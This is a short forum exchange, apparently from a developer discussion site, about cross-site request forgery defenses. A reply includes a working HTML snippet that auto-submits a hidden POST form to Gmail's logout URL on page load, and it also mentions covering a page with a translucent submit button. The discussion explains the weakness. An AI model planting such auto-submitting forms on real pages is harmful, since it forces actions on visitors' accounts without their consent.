3 ms·
That doesn't solve it because the attacker can just create a <form> and auto submit it with js (or make a translucent submit button that is the size of the enti
by gibybo 15y ago
That doesn't solve it because the attacker can just create a <form> and auto submit it with js (or make a translucent submit button that is the size of the entire page if you have JS disabled).
- someone13 15y agoFor example: <body onload="javascript:document.evil.submit()"> <form name="evil" method="POST" action="https://mail.google.com/mail/u/0/?logout"> </form> </body> The massive button is left as an exercise to the reader ;-)